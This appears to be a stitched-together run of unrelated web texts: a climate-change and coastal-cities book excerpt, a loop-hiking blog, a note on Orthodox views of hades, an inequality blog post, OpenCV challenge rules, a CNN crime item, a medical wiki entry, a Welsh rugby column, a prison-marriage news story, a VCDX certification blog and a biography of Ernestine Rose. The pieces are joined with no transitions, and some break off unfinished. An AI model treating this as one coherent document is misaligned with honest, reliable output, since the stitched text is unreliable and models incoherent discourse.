But the catastrophic climax is not unfolding in the global South alone. The threat posed by climate change to wealthy nations is real, present, and escalating. Perhaps the starkest warning of the mayhem to come was the European heat wave of 2003, which killed an estimated 70,000 European city-dwellers, a figure that dwarfs the 1,800 deaths from Hurricane Katrina in New Orleans. In addition, rising sea levels will affect many of the world’s powerful global cities, the key command-and-control nodes of the global capitalist economy. Most of these metropoles happen to be port cities, a fact largely ignored in the literature on the global city. The United States for example has eight key global cities: New York, Los Angeles, Chicago, Boston, San Francisco-Oakland, Washington, DC, Miami, and Philadelphia, all lying in coastal zones. (Chicago is located on the inland coast of Lake Michigan.) Rising sea levels and intensifying storms threaten almost all of them. In global terms, the top ten cities whose populations are exposed to natural disasters today are almost evenly split between developed and developing countries: Mumbai, Guangzhou, Shanghai, Miami, Ho Chi Minh City, Kolkata, Greater New York, Osaka-Kobe, Alexandria, and New Orleans. In terms of imperiled economic assets, however, the list tilts heavily toward the developed world, with Miami, Greater New York, New Orleans, Osaka-Kobe, Tokyo, Amsterdam, Rotterdam, Nagoya, Tampa-St. Petersburg, and Virginia Beach topping the list. Although these cities contain 60 percent of threatened economic assets, they are located in only four countries: the United States, Japan, the Netherlands, and China. Each of these cities is a key node in global circuits of transportation and exchange. There will be extremely grave ramifications for the global economy if any of them are seriously damaged by the storms to come. It is projected that the threat to these cities’ wealth will multiply tenfold by 2070, while the total population exposed to natural disasters could triple to around 150 million people. These statistics highlight the fact that vulnerability to extreme weather is not simply a result of the exposure of masses of people to hurricanes, cyclones, and droughts, but a product of the complex interplay of populations, infrastructures, economic and political institutions, and anthropogenic climate change.
Coastal cities face a future of ongoing systemic crisis as a result of climate change. These crises are likely to unfold as a slow cascade of rising mortality rates punctuated by spectacular disasters. As population numbers soar in these cities, increasing numbers of people are likely to be abandoned to their own devices, left exposed by the nonexistent or fraying infrastructures that buffer people from disasters. Compounding the threat of rising sea levels, the land on which most coastal cities are built is simultaneously sinking in a process known as subsidence. This process was directly responsible for the devastating impact of Hurricane Katrina on New Orleans, but it is a process unfolding around the world in fast-urbanizing river deltas, including the Po delta in Italy, Egypt’s Nile delta, the Ganges-Brahmaputra in India and Bangladesh, Vietnam’s Mekong, and China’s Yellow River delta. More than 500 million people currently live in the world’s river deltas, incredibly rich but ecologically sensitive regions that are subsiding at an alarming rate of 10 centimeters or so a year, causing the sea to swallow up dozens of meters of land in these regions each year. Over the past decade, 85 percent of the world’s major river deltas experienced flooding, killing hundreds of thousands of people. In tandem with this process of subsidence, coastal erosion is destroying the natural barriers that protect deltaic cities from increasingly severe storms and their surge waters. As mountain glaciers melt, hundreds of trillions of gallons of meltwater rush into surrounding seas that are themselves warming and, consequently, growing in volume. This convergence means that increasing numbers of the world’s coastal cities will soon fall below sea level, and will be exposed to the increasingly severe storms and surges born of an overheated planet.
While residents of coastal cities around the world will face increasingly extreme conditions in the coming years and decades, it is the poor who are the most vulnerable to cascading climate disruptions in cities. In the cities of the global South, already life-threatening conditions in informal settlements are being exacerbated by climate change. When disasters do not directly take people’s lives by collapsing hastily fabricated buildings and unstable land, the lack of storm drainage and solid-waste disposal can magnify the impact of floods. Infectious diseases can be rapidly transmitted through floodwaters, leading to outbreaks of cholera, typhoid, leptospirosis, and meningitis that destroy the lives of the poor even after the floodwaters recede. Increasingly fragile, global-spanning food supplies are disrupted. For people living in informal settlements, infrastructure is a constantly improvised and negotiated collective achievement rather than an invisible and taken-for-granted aspect of urban life. As a consequence, everyday hazards can often turn into disasters for the urban poor in the global South. But when extreme weather events cause infrastructure to break down, vulnerable denizens of even the world’s most wealthy cities can find their lives imperiled, as the hurricanes in New Orleans and New York and the heat waves in Chicago and Europe demonstrated. In such circumstances, the catastrophic climax of urbanization and climate change affects vulnerable people such as the elderly and the poor above all, but it also threatens massive amounts of capitalist assets. Why, given these dramatic present-day and future threats, is there not more public alarm?
Scientists statistically adjust data collected from urban weather stations. As a result, the extreme forms of warming occurring in cities are edited out of scientific assessments of climate change.
On 30 July 2012, sweltering heat in India’s capital city New Delhi led to record power use, as people set electrical pumps to work drawing water from wells and the affluent cranked up their air conditioners. In tandem, farmers in the northern states of Punjab and Haryana, struggling to keep their crops growing in the face of a delayed monsoon season, drew increased power from the grid to run pumps irrigating paddy fields. The failure of the monsoon rains to arrive ironically also meant that hydropower plants were generating less electricity. While Indian citizens are used to rolling blackouts, the cascading collapse that knocked power out in most of northern India that day set records. Over 300 million people were without electricity. Phones and traffic signals stopped working. Railways were shut down for hours, trapping many people in the middle of their morning commute. Many hospitals had to suspend operations. Water supplies broke down as treatment plants and pumping stations stopped functioning. It became impossible to draw water from wells powered with electrical pumps. Although power was restored relatively quickly, the following day, 31 July, an even broader power outage knocked out power for 620 million people.
India faces unique challenges relating to its electrical infrastructure: an estimated 27 percent of energy generated is lost in transmission or stolen, according to India’s Central Electricity Authority, and 25 percent of the country’s population, about 300 million people, have no access to electricity at all. But lest the denizens of developed countries feel smug about power failures in the developing world, it’s worth recalling that the northeastern United States suffered a similar cascading power outage during the summer of 2003, an event that shut off electricity for 55 million people in the midst of an intense summer heat wave. Subways in New York stopped running. Air conditioners no longer worked. Water stopped flowing out of faucets. Hundreds of thousands of people had to walk back to their homes in the outer boroughs in the blistering sun.
Heat waves and the cascading power outages that they often occasion are becoming increasingly frequent in cities across the global North and South. Extreme heat already accounts for more weather-related deaths per year than any other form of extreme weather. What would happen if a prolonged heat wave were to plunge a major city such as New York or São Paulo into a multiday blackout? What emergency systems are in place to support an urban population of tens of millions when electrical pumps are no longer working to deliver water, and when transport systems that might move people out of a blackout zone are crippled? If the deadly heat waves of 2003 in Europe and of 1995 in Chicago demonstrate the potentially catastrophic impact of heat extremes, surprisingly little attention has focused on what scientists call the urban heat island effect and on the vulnerability of urban populations. The heat island effect means that cities are, on average, 30 percent hotter than the countryside. Yet climate science measures climate change on the scale of the planet as a whole, rather than on the urban scale, where the impact of warming is demonstrably far more extreme. In fact, scientists statistically adjust data collected from urban weather stations when they seek to measure global temperature fluctuations. As a result, the extreme forms of warming occurring in cities—the places where the majority of humanity now lives—are edited out of scientific assessments of climate change. This effectively means that official assessments radically underestimate the magnitude of warming experienced by city dwellers around the globe today. As Brian Stone puts it, “For many, to live in a large city today is to live on the leading edge of the most rapidly changing environmental conditions ever experienced by humans—and to not even know it.”
There is a certain sense of zen when you travel in a complete circle. I’ve hiked many sections of the Ozark Highland Trail and made many “there and back” treks to stunning sections of the Ozarks like Whitaker Point and Hemmed-in-Hollow. Each form of hitting the trails is fun in its own right. I’d like to shine some light on what makes the loop life so special to my mind.
Something interesting happens to your mind when you travel in a circle. Although you are physically progressing in the subjective sense, you are also working hard to make exactly zero progress in a geographical, or objective sense. There is some magic in this paradox--I’m certain of it.
The loop life reminds you of the well known axiom of all adventures - it’s not the destination that is of supreme, life changing importance, but rather the experience of travel in itself. The simple fact that you do not a have a new destination to arrive at, but rather a starting point to return, eliminates the distraction of being overly fixated on the destination, and instead places the experience front and center.
The mind wonders about the loop. How many times has the circle been carved around by fellow travelers? How might it look different each time it is traveled? What could be deeper learned from each time you experience it? Because of this, it calls you to come back, even before you’ve left it.
The loop has a meditative like feeling to it. In meditation, you practice calming the "monkey mind," from its scattered state, to a pure, original form. You return to where you started - in a sense - to a simple state of pure present tense, to a state before your mind was cluttered with anxious thoughts toward the future, and emotional thoughts of the past. The loop life is a moving meditation.
When you are locked on the loop, there is no need to think of other options on how to spend your day, and there are no distractions toward potential actions. It removes the future decision making elements from your cognitive workload, and in doing so, frees up your mental bandwidth to more fully experience the present, because you don’t have to worry about what you might do next. There is a sense of freedom found in these moments.
The sensation of being “locked in” to the loop is accompanied by a robust feeling of connection to nature. You see, understand, and most importantly, experience how nature is connected. You sense how the clouds, rivers, and ridges are connected in through exchange their many elements. You learn that the trails work together because nature works together. You are reminded that you are inherently apart of nature because forest's and river's endless hospitality makes you feel at home. You know you are at home because of the mental, physical, and spiritual benefits you immediately experience while on the trails. Here are some of my favorites.
BENEFITS OF EXTENDED TRIPS INTO NATURE:
• Concentrated social practice. Whether you travel solo and have an extended stay with the self or travel with a group of companions, the company you keep on the trails is subject to significant development. Socially, you learn a lot about the people you share experience with and all are left better because of it. Looking to better understand an old friend or fast track a new friendship? Hit the trails and watch what happens.
• Backpacking teaches you to prepare for life things. It is fun to prepare for a backpacking experience. Gather your favorite road trip knick knacks, outdoor gear, and a proper topographical map that details your upcoming journey. As you do grab each item, your mind is flooded with the pleasures and perils of past adventures and becomes excited about what’s in store. This process highlights how preparation in life can and should be enjoyable, not just a mundane adult process.
• Mandatory mental self-improvement. Simply put, the trail makes you better. You are made better by each experience, and a backpacking experience, whether filled with pleasure discomfort, is sure to make your more confident in yourself and your abilities. Only the best version of your mental self arrives at the end of the trek. In the loop life, you can perceive the change an immediate, robust sense. Because you start and end in the same place, you aren’t distracted by the novel nature of your new destination. Ideally, everything about your physical world is the same, so the change your feel inside can be pinpointed to your mental development.
• Improved physical health. Backpacking is reported to decrease your risk of heart disease and blood sugar levels, improve your blood pressure, boost bone density and build strength throughout your glutes, quads, hamstrings, and muscles in your hips and lower legs. Need more motivation? It’s out there in spades. Backpacking strengthens your core, improves balance, helps control weight, and boosts mood as research shows that hiking has a positive impact on combating the symptoms of stress and anxiety. Studies have shown that at long distance hiking trips may improve our antioxidative capacity, which helps fight off disease, in the blood of oncological patients. Those big breaths on the trail aren’t just for theatrics, your body is actively improving its ability to survive and thrive on this planet.
• Improved psychological health. The combination of all the physical and mental benefits of backpacking leave the traveler in a happy and inspired state. Extended stays in nature have been anecdotally and therapeutically understood to unwind anxiety, depression, and even suicidal tendencies. Even though it is especially effective on these more negative mental dispositions, the benefits can make positive impressions across the entire spectrum of the human experience.
• Induces creativity. Research shows that spending time outdoors increases attention spans and creative problem-solving skills by as much as 50 percent. We know this well at Fayettechill and are consistently amazed at the endless inspiration that nature offers.
• The ability to face challenges head on (personal favorite). Backpacking teaches you how to face challenges head on, one step at a time. The immediate, and sometimes intense physical experience serves as a guide on how to do the same in the less wild, more modern world of school and work. Attend to your projects and problems with the understanding that the solution is inevitably some distance away, so you will need to travel, or change, to get there. It will take work to accomplish your goal, but that’s okay, because you agreed to that effort when you signed up for the challenge in the first place. And you will feel and be better because of it. And just imagine what you will see along the way.
The trails are out there and believe me when I tell you they are everywhere, waiting to be walked on. Each step you take reinforces a path laid out by our predecessors in the outdoor community. You improve the trails as they improve you. And if you happen to walk in a circle, you are reminded that the trails are simply a guiding force, and that your mind is the real crucible of change when you adventure into the unknown.
Hades is an indefinite expression that refers to a state or condition of the souls of the departed. In general, it refers to this state or condition before the original Holy Saturday, when Christ revealed redemption to those who had died in the faith in Old Testament times. This is why the only correct Orthodox icon of the resurrection is the one that shows Christ "trampling down the gates of hades." In primitive and peasant societies, "hades" was often understood as an actual place, and a host of folk mythologies grew up around it -- many of them quite fantastic. Since the word "hades" was used to translate a Hebrew concept into Greek, many peasant cultures adopted the pagan Greek mythology surrounding the idea of hades.
In Orthodox Christianity, hades is simply a convenient word to refer to an abstract concept of a state or condition of departed souls.
I’ve been largely on the sidelines of the debate about neoliberalism and political theory. That’s mainly because, observing the US political and economic situation, I have a very clear view on what policies could, in principle, sustain a progressive political movement, but (given my distance from the scene and the absence of anything substantial enough to force its attention on the mass media) no real idea about how such a movement might develop.
My analysis is quite simple and follows the apocryphal statement attributed to Willie Sutton. The wealth that has accrued to those in the top 1 per cent of the US income distribution is so massive that any serious policy program must begin by clawing it back.[1]
If their 25 per cent, or the great bulk of it, is off-limits, then it’s impossible to see any good resolution of the current US crisis. It’s unsurprising that lots of voters are unwilling to pay higher taxes, even to prevent the complete collapse of public sector services. Median household income has been static or declining for the past decade, household wealth has fallen by something like 50 per cent (at least for ordinary households whose wealth, if they have any, is dominated by home equity) and the easy credit that made the whole process tolerable for decades has disappeared. In these circumstances, welshing on obligations to retired teachers, police officers and firefighters looks only fair.
In both policy and political terms, nothing can be achieved under these circumstances, except at the expense of the top 1 per cent. This is a contingent, but inescapable fact about massively unequal, and economically stagnant, societies like the US in 2010. By contrast, in a society like that of the 1950s and 1960s, where most people could plausibly regard themselves as middle class and where middle class incomes were steadily rising, the big questions could be put in terms of the mix of public goods and private income that was best for the representative middle class citizen. The question of how much (more) to tax the very rich was secondary – their share of national income was already at an all time low.
The problem is that most policy analysts and commentators grew up in the world of the 1950s and 1960s, or at least in the mental world created by that era. So, we are busy fighting about tax expenditures, barber licensing and teachers unions, and the implications of these things for a hypothetical working class mobilisation. Meanwhile, most of the anger created by the collapse of middle class America is being directed not at the rich but at those who don’t look, sound or pray like Americans of the vanished golden age.
One thing the Tea Party has shown is that, in the current dire state of the US, there are few penalties for abandoning moderation. What the US needs at this point is someone willing to advocate a return to the economic institutions that made America great – 90 per cent top marginal tax rates, strong trade unions, weak banks and imprisonment for malefactors of great wealth.
It seems to me that a good place to start would be a primary challenge to Obama (Bernie Sanders suggested this, and he’d be a good candidate I think). It would be impossible for the media to ignore completely, and might get enough votes to shift the Overton window. Whether such a challenge could form the basis of a mass movement, I don’t really know, but it seems to be worth a try.
Conditions:
The OpenCV Vision Challenge Committee will judge up to five best entries.
You may submit a new algorithm developed by yourself or your implementation of an existing algorithm even if you are not the author of the algorithm.
You may enter any number of categories.
If your entry wins the contest you will be awarded $1K.
To win an additional $7.5 to $9K, you must contribute the source code as an OpenCV pull request under a BSD license.
You acknowledge that your contributed code may be included, with your copyright, in OpenCV.
You may explicitly enter code for any work you have submitted to CVPR 2015 or its workshops. We will not unveil it until after CVPR.
Winners and prizes are at the sole discretion of the committee.
Timeline:
Submission Period: Now - May 8th 2015
Winners Announcement: June 8th 2015 at CVPR 2015
Detailed information can be found here:
http://code.opencv.org/projects/opencv/wiki/VisionChallenge
http://code.opencv.org/attachments/1672/OpenCVVisionChallenge.pdf
Questions and the results should be sent to: vision-challenges@opencv.org
Thank you,
He is accused of fatally stabbing his roommate with a sword, prosecutors say
(CNN) Former "Power Rangers" actor Ricardo Medina was arrested Thursday and charged with murder in the 2015 fatal stabbing of his roommate, the Los Angeles County District Attorney's Office said in a statement.
Ricardo Medina, 35, stabbed Josh Sutter multiple times with a sword on January 31, 2015, at a house the two men shared in Green Valley, the statement said.
The men allegedly got into an argument over Medina's girlfriend and the argument turned physical, the statement said. Medina had told police the stabbing occurred after Sutter forced his way into Medina's bedroom.
Medina called 911 after the altercation and was interviewed by detectives.
Medina is scheduled to be arraigned Tuesday. Prosecutors will ask that bail be set at $1 million, the statement said. If convicted, Medina could be imprisoned for 26 years.
"Peniculus" redirects here. For the crustacean genus, see Peniculus (copepod)
Panniculus, often incorrectly referred to as pannus,[1] is a medical term describing a dense layer of fatty tissue, consisting of excess subcutaneous fat within the lower abdominal region.[2] Panniculi can form after rapid weight loss, as seen with strict exercise plans - in this case, the abdominal fat is successfully reduced, but excess skin is left behind which hangs loosely over the area. It can be a result of obesity and can be mistaken for a tumor or hernia. Abdominal panniculus can be removed during abdominal panniculectomy, a type of abdominoplasty. A panniculus can also be the result of loose tissues after pregnancy or massive weight loss.[3]
DAVID MOFFETT hailed it as the return of Wales to the top tier of world rugby after they scared New Zealand and eventual champions England at the 2003 World Cup in Australia.
The then chief executive of the Welsh Rugby Union could hardly contain his delight as he talked excitedly about how the likes of New Zealand, South Africa and Australia were delighted at the rebirth.
Wales nearly beat the All Blacks for the first time since 1953 the following year, unluckily losing 26-25 at the Millennium Stadium, and went down by just two points against South Africa.
A Six Nations Grand Slam – Wales’ first since for 28 years – followed and there was another in 2008.
We hoped the country had finally grasped professionalism and the humiliating hammerings had ended.
There had been the record 96-13 loss to South Africa at Pretoria in 1998, a 63-6 battering against Australia in Brisbane in 1991 and 54-9 to New Zealand in 1988.
But it wasn’t just the southern hemisphere giants who needed to bring a cricket scoreboard with them.
England had put 60 on Wales at Twickenham in 1998, France scored 51 unanswered points at Wembley the same year, while Ireland rattled up 54 in Dublin in 2002.
Apart from the odd blemish, most notably the feeble 62 Wales conceded at Twickenham during a warm-up for the 2007 World Cup, it’s been rare for the men in red to throw in the towel.
Not any more I’m afraid as Wales Under-20 suffered a mind-boggling and record 92-0 defeat to their New Zealand counterparts at the Junior World Championship in Italy – the widest losing margin the country has suffered at any level.
True, the Baby Blacks are the pacesetters at the level, having won all three previous tournaments without losing a match, but Wales should never lose to them by so many.
Hosts Italy did better, only going down 64-7, and Welsh chances of reaching the semi-finals are gone because of their shocking points difference.
New Zealand’s current crop of youngsters might be outstanding, but the sad part about it is they weren’t even tested by Wales. It was an utter embarrassment.
Hardly any of the Welsh team came out of the Pool A clash with their reputation intact.
One who did, blindside flanker Ed Siggery, he of the short fuse who did mar his effort by needlessly getting himself sin-binned for throwing an opponent after the whistle, announced yesterday he’s off to English Heineken Cup qualifiers London Irish.
The 19-year-old was the form forward during the Under-20 Six Nations but hasn’t had a real chance at regional level.
He’s been on the books of the Scarlets but has been studying at the University of Glamorgan and shining for Pontypridd.
Siggery, 20 next month, has decided to join fellow Scarlet and Wales Under-20 cap Steve Shingler over the border next season.
Who could blame them? They are desperate for better rugby and, even if they fail to make the London Irish first team, the English reserve league is hugely competitive and vibrant.
Watch this week's Focus on Rugby with former Wales under 20s coach Phil Davies
Their plight graphically illustrates the failure of rugby in Wales, from the very top to the bottom.
Instead of all pulling together for the good of the sport, the WRU and the regions have had different agendas.
Central contracts and a player draft were a must when union went professional in 1995, but Wales is still waiting.
The WRU has failed to address the problems afflicting the game, namely the quality of the coaching in age-grade rugby, the gulf between the regions and the Premiership, and not backed the introduction of regional A teams.
Instead of the Blues, Dragons, Ospreys and Scarlets having second teams, which would have given the likes of Siggery and Shingler an opportunity, Welsh Premiership clubs have taken part and largely been out of their depth in the British and Irish Cup.
What’s the point in the semi-professional clubs facing Leinster A, Munster A, Ulster A and professional clubs from England’s second tier?
Far better for Wales’ regions to have A teams and additional fixtures against Leicester A, Gloucester A...
As it stands, Wales are going backwards fast. They have won just five of their last 19 fixtures at senior level, finishing fourth in the last three Six Nations, while the regions flopped in the Heineken Cup and Magners League last season.
And, most worryingly of all, the Under-20s have slipped. When Chris Davey, nowadays head of rugby at Uwic, was in charge of the Under-21s, as it was then, Wales were the envy of Europe.
But they could only finish joint third in this season’s Six Nations and their results have dropped off at the Junior World Championship.
Fourth on home soil in 2008 with the likes of Leigh Halfpenny Sam Warburton, Jonathan Davies, Josh Turnbull, Dan Biggar, Ryan Bevington, Jason Tovey, Rhys Webb and Justin Tipuric in the team, they were sixth in 2009 and seventh last year.
New Zealand’s Baby Blacks showed the class of 2011 how to play simple rugby effectively, doing the basics well, playing with their brains, with skill and at pace.
The Kiwis concentrate on skills and handling ability – touch rugby is huge – until they are about 16 and know using the ball to beat the defence is still the easiest way to score tries.
I returned from reporting on the Lions tour of New Zealand and, having watched club rugby Down Under, convinced the biggest difference between them and us was their vastly superior skills.
You only have to watch a junior rugby training session here – and this isn’t a dig at the volunteer coaches because they are only implementing what they have been told from above – to see 10-year-olds running into tackle bags and looking for contact.
There’s also an over-obsession on pumping iron, so much so we are producing gym monkeys instead of skilled rugby players.
It has to change or we’re finished. The WRU has to show some leadership and act now or we are going to slip further and further behind until the likes of New Zealand won’t want to play us.
An infamous killer who strangled a gay man has married a fellow murderer in the first known same-sex marriage inside a British prison.
Mikhail Gallatinov was locked up in 1997 for the murder of Salford man Adrian Kaminsky who he had met through a gay chat line before luring him to his home in Moston.
The case made headlines at the time as Gallatinov – a convicted child sex offender – was being monitored by police as part of an undercover operation and officers were sat outside his house on Ebsworth Street, Moston, at the time of the killing.
Gallatinov, who was 23 when he was jailed for life in December 1997, married fellow inmate Marc Goodwin, 31, at HMP Full Sutton Prison, near York, at a ceremony on Friday.
Goodwin was sentenced to life behind bars in 2007 for a ‘gay-bashing’ killing on Blackpool seafront.
The M.E.N. revealed last month that they had posted a notice of marriage at a nearby registrar’s office, which was displayed for 15 days.
According to reports today, the wedding ceremony was attended by just a handful of relatives.
Same-sex marriage came into force in the UK in March last year.
It is believed the convicted couple, who described their jobs on the notice as bar staff, had been wanting to tie the knot for several years with a civil ceremony but after last year’s law change, they applied to get married and prison authorities finally agreed.
The notice, which also described Gallatinov as a chef, said the wedding would take place at ‘Sutton View, Moor Lane, Full Sutton - with no mention that it is a prison.
poll loading Should prisoners be allowed to marry? 0+ VOTES SO FAR YES NO
A Ministry of Justice spokesman refused to comment on the impending marriage at the time, saying: “We do not comment on individuals. Prisoners are entitled to apply to be married in prison under the Marriages Act 1983.”
Gallatinov, who is now believed to be 40, was given a minimum sentence of 20 years, which was upheld by the High Courts of Justice in 2009.
It is understood that he can be considered for parole next year.
His parents said that they were ‘happy and proud’ that their son was marrying after the news first emerged.
Apparently, Milton has been through the VCDX process. It is a challenge that will test your resolve and you will probably learn a lot along the way. You’ll also be glad when its over.
I’ve been good at many things in my life, but never felt like I was great at anything. I’ve succeeded at most things I’ve attempted, but the VCDX was a goal I truly didn’t think I was capable of achieving. Chris Colotti mentioned in one of his posts that you need to decide why you’re going for the VCDX in the first place. In my case, I was doing it to prove to myself that I could do it. The process really taught me something about myself that I didn’t know. It was my own personal Vision Quest. (Queue Lunatic Fringe them song here)
My Journey really started when I joined Ahead. I was in a company that kept me doing a little less tech and I knew that if I wanted to really make a stab for the VCDX, I needed to be in a place that nurtured that type of endeavor. Working at Ahead is like drinking from a firehose. Every single day I spend working there I learn something new. I submitted my first VCDX design in December of 2014 with the hopes of defending in February 2015. Unfortunately, I was not asked to defend and here is why this post is labeled “Mea Culpa”.
I was embarrassed about my design being rejected and didn’t talk too much about it publicly, which is why I’m apologizing. I’ve seen some very intelligent people have their designs rejected or not pass the defense stage, and I will tell you now, that if this happens to you, do not be ashamed. I work for a company that is “practically” packed full of VCDXs as well as other geniuses and failing to meet this goal on the first pass made me feel like I didn’t even fit in. If this happens to you, ignore it. I will tell you that I was very disheartened and it really destroyed my confidence not only about being able to finish the VCDX, but really question how much I knew about my day job. This was very tough for me, but I knew the only way to move past this was to finish the VCDX program. I couldn’t spend the rest of my career with the feeling that I just came up short. The failure made me even more determined to hit my goal.
I cursed at the feedback I got for a week or so before finally accepting that all of the comments had merit and that I needed to make (some/major) changes to my design. I went back to the drawing board, completely wiped out some sections and started fresh. I submitted the new design in April and this time I was invited to defend in June.
Initially I thought that preparing for the defense was going to be the downhill part of the work. I thought that preparing a PowerPoint presentation with key features of my design would be easy. It turns out that while this isn’t incredibly difficult, it was very time consuming and I went over it many times, deleting and replacing things on several occasions. In addition, I assumed that the knowledge that I currently had about vSphere should be sufficient to mount a defense. Again, I was wrong. (Are you sensing a theme?)
I went through a mock defense at Ahead with three existing VCDXs and as you might assume, they asked some tough questions. I felt that I did a pretty good job of defending my design but I wasn’t able to show a deep level of understanding of some areas. Specifically being able to answer questions quickly and succinctly . This is when I realized that I needed to study things that I thought that I already understood, just at a deeper level.
Defense Day
Show up. Be Awesome – Some Smart Guy
After going over some homemade flash cards and a lot of white papers, I felt confident that I could defend my design. I flew to Palo Alto the day before the defense and got some dinner that I didn’t think would upset my stomach the next day. I spent the evening studying my design some more and then made sure I got a good nights sleep. (This is easier said than done. It was hard to sleep the night before and was even hard for me to eat anything.)
I showed up at the VMware campus almost an hour early for fear that I wouldn’t be able to find my way around. When I got there I found out that I was in the wrong place and couldn’t find any notifications about which building I was supposed to be in once I got on campus. (VMware’s campus is a big place!) Long story short, I was 20 minutes late for my defense but the panelists were VERY gracious and didn’t give me a hard time about it. I felt terrible about the miscommunication but they didn’t hold any of this against me. The process of running across campus and showing up out of breath and 20 minutes late did not help my nerves though. Strangely, once the design defense started my nerves were gone. I was prepared and I knew my material.
Waiting
The defense was over and I felt a subtle calm wash over me. I was pretty sure that I didn’t do a very good job of the design session which really bothered me because its the thing I do every day. How could I stumble over myself on that section? I was confident that I passed, and then sure that I didn’t, and then sure that I didn’t and finally confident that I’d passed. This flip flopping of certainty went on constantly for the week I waited for my results.
I hopped out of bed one morning a week after my defense and found my results. “Congratulations you’re VCDX 195”
Suggestions
The world meets nobody halfway. When you want something, you’ve gotta take it. – Sylvester Stallone
Ernestine Louise Rose (January 13, 1810 – August 4, 1892)[1] was a Jewish suffragist, abolitionist, and freethinker. Her career spanned from the 1830s to the 1870s, making her a contemporary to the much more widely celebrated suffragists Elizabeth Cady Stanton and Susan B. Anthony. Largely forgotten in contemporary discussions of the American women's rights movement, she was one of its major intellectual forces in nineteenth-century America.[2] Her relationship with Judaism is a debated motivation for her advocacy.[3] In 1996, she was inducted into the National Women's Hall of Fame.[4]
Life and work [ edit ]
She was born on January 13, 1810, in Piotrków Trybunalski, Congress Poland, as Ernestine Louise Potowska.[5] Her father was a wealthy rabbi. There is no information about her mother. At the age of five, Rose began to "question the justice of a God who would exact such hardships" as the frequent fasts that her father performed. As she grew older, she began to question her father more and more on religious matters. He told her, "Little girls should not ask questions," unlike little boys who were supposed to. She later said that she dated her disbelief and women's rights principles from that event.
When she was sixteen her mother died and left her an inheritance. Her father, without her consent, betrothed her to a Jewish friend of his, to "bind her more closely to the bosom of the synagogue." Rose, not wanting to enter a marriage with a man she neither chose nor loved, confronted him, professing her lack of affection towards him and begging for release. However, Rose was a woman from a rich family, and he denied her plea. Rose traveled to the secular civil court, where she pleaded her case herself. The courts ruled in her favor, not only freeing her from her betrothal, but ruling that she could retain the full inheritance she received from her mother. Although she decided to relinquish the fortune to her father, she gladly took her freedom from betrothal. She returned home only to discover that in her absence her father had remarried, to a sixteen-year-old girl. The tension that developed eventually forced her to leave home at the age of seventeen.
Rose then traveled to Berlin, where she found herself hampered by an anti-Semitic law that required all non-Prussian Jews to have a Prussian sponsor. She appealed directly to the king and was granted an exemption from the rule. Soon afterward, she invented a room deodorizer, which she sold to fund her travels.
She traveled to Belgium, the Netherlands, France, and finally England. Her arrival in England was less than smooth, however, as the ship in which she was sailing was shipwrecked. Although Rose did make it to England safely, all her possessions had been destroyed, and she found herself destitute. In order to support herself, she sought work as a teacher of the German and Hebrew languages and she continued to sell her room deodorizers. While in England, she met Robert Owen, a Utopian socialist, who was so impressed by her that he invited her to speak in a large hall for radical speakers. In spite of her limited knowledge of English, the audience was so impressed that from then on her appearances were regular. She and Owen were close friends, and she even helped him to found the Association of All Classes of All Nations, a group that espoused human rights for all people of all nations, sexes, races and classes. During her time there she also met William Ella Rose, a Christian jeweler and silversmith, an Englishman and an "Owenite". They were soon married by a civil magistrate, and both made it plain that they considered the marriage a civil contract rather than a religious one.
In May 1836 the Roses emigrated to the United States, where they later became naturalized citizens and settled in a house in New York city in 1837. The Roses soon opened a small "Fancy and Perfumery" store in their home, where Rose sold her perfumed toilet water and William ran a silversmith shop.
Rose soon began to give lectures on the subjects that most interested her, joining the "Society for Moral Philanthropists" and traveling to different states to espouse her causes of the abolition of slavery, religious tolerance, public education and equality for women. Her lectures were met with controversy. When she was in the South to speak out against slavery, one slaveholder told her he would have "tarred and feathered her if she had been a man". When, in 1855, she was invited to deliver an anti-slavery lecture in Bangor, Maine, a local newspaper called her "a female Atheist... a thousand times below a prostitute." When Rose responded to the slur in a letter to the competing paper, she sparked off a town feud that created such publicity that, by the time she arrived, everyone in town was eager to hear her. Her most ill-received lecture was likely in Charleston, West Virginia, where her lecture on the evils of slavery was met with such vehement opposition and outrage that she was forced to exercise considerable influence to even get out of the city safely.
In the 1840s and 1850s, Rose joined the "pantheon of great American women", a group that included such influential women as Elizabeth Cady Stanton, Susan B. Anthony, Lucretia Mott, Paulina Kellogg Wright Davis and Sojourner Truth and fought for women's rights and abolition.
In the winter of 1836, Judge Thomas Hertell submitted a married women's property act to the New York State Legislature to investigate methods of improving the civil and property rights of married women, and to allow them to hold real estate in their own name. When Rose heard of this resolution, she drew up a petition and began to solicit names in support of it. In 1838, this petition was sent to the state legislature in spite of it only having five names. This was the first petition ever introduced in favor of rights for women. During the following years, she increased both the number of petitions and the number of signatures. In 1849, these rights were finally won.
Rose also attended and spoke at numerous conferences and conventions, including, but not limited to: the first national convention of Infidels, the Hartford Bible Convention, the Women's Rights Convention in the Tabernacle, New York City, the tenth national convention of the National Women's Rights Convention in Cooper Institute, New York City, the State Women's Rights Convention in Albany, New York, and the Equal Rights Association meeting in which there was a schism.
Rose was elected president of the National Women's Rights Convention in October, 1854, in spite of objections that she was an atheist. Her election was heavily supported by Susan B. Anthony, who declared that "every religion – or none – should have an equal right on the platform".
Although she never seemed to attach great importance to her Jewish background, in 1863 Rose had a published debate with Horace Seaver, the abolitionist editor of the Boston Investigator, whom she accused of being antisemitic.
In 1869, she successfully lobbied for legislation in New York that allowed married women to retain their own property and have equal guardianship of children in New York.[5]
In her later years, after a six-month trip to Europe, she attempted to stay away from platforms and controversy. Within 6 months, she made the closing address at the nationwide Women's Rights Convention. However, her health once again took a downward turn, and on June 8, 1869, she and her husband set sail for England. Susan B. Anthony arranged a farewell party for them, and the couple received many gifts from friends and admirers, including a substantial amount of money.
After 1873, her health improved, and she began to advocate women's suffrage in England, even attending the Conference of the Woman's Suffrage movement in London and speaking in Edinburgh, Scotland at a large public meeting in favor of woman's suffrage. She died in Brighton, England in 1892.
References [ edit ]
Sources [ edit ]
Primary materials [ edit ]
Secondary materials [ edit ]
Jacoby, Susan (2005). Freethinkers: A History of American Secularism , "Lost Connections: Anticlericalism, Abolitionism, and Feminism." Henry Holt And Company, New York, ISBN 0-8050-7776-6
, "Lost Connections: Anticlericalism, Abolitionism, and Feminism." Henry Holt And Company, New York, ISBN 0-8050-7776-6 "Great Minds Ernestine L. Rose: Freethinking Rebel", Carol Kolmerten, Summer, 2002, (Volume 22, No. 3), p53-55, Free Inquiry
Kolmerten, Carol (1998). The American Life of Ernestine L. Rose . Syracuse University Press, ISBN 0-8156-0528-5
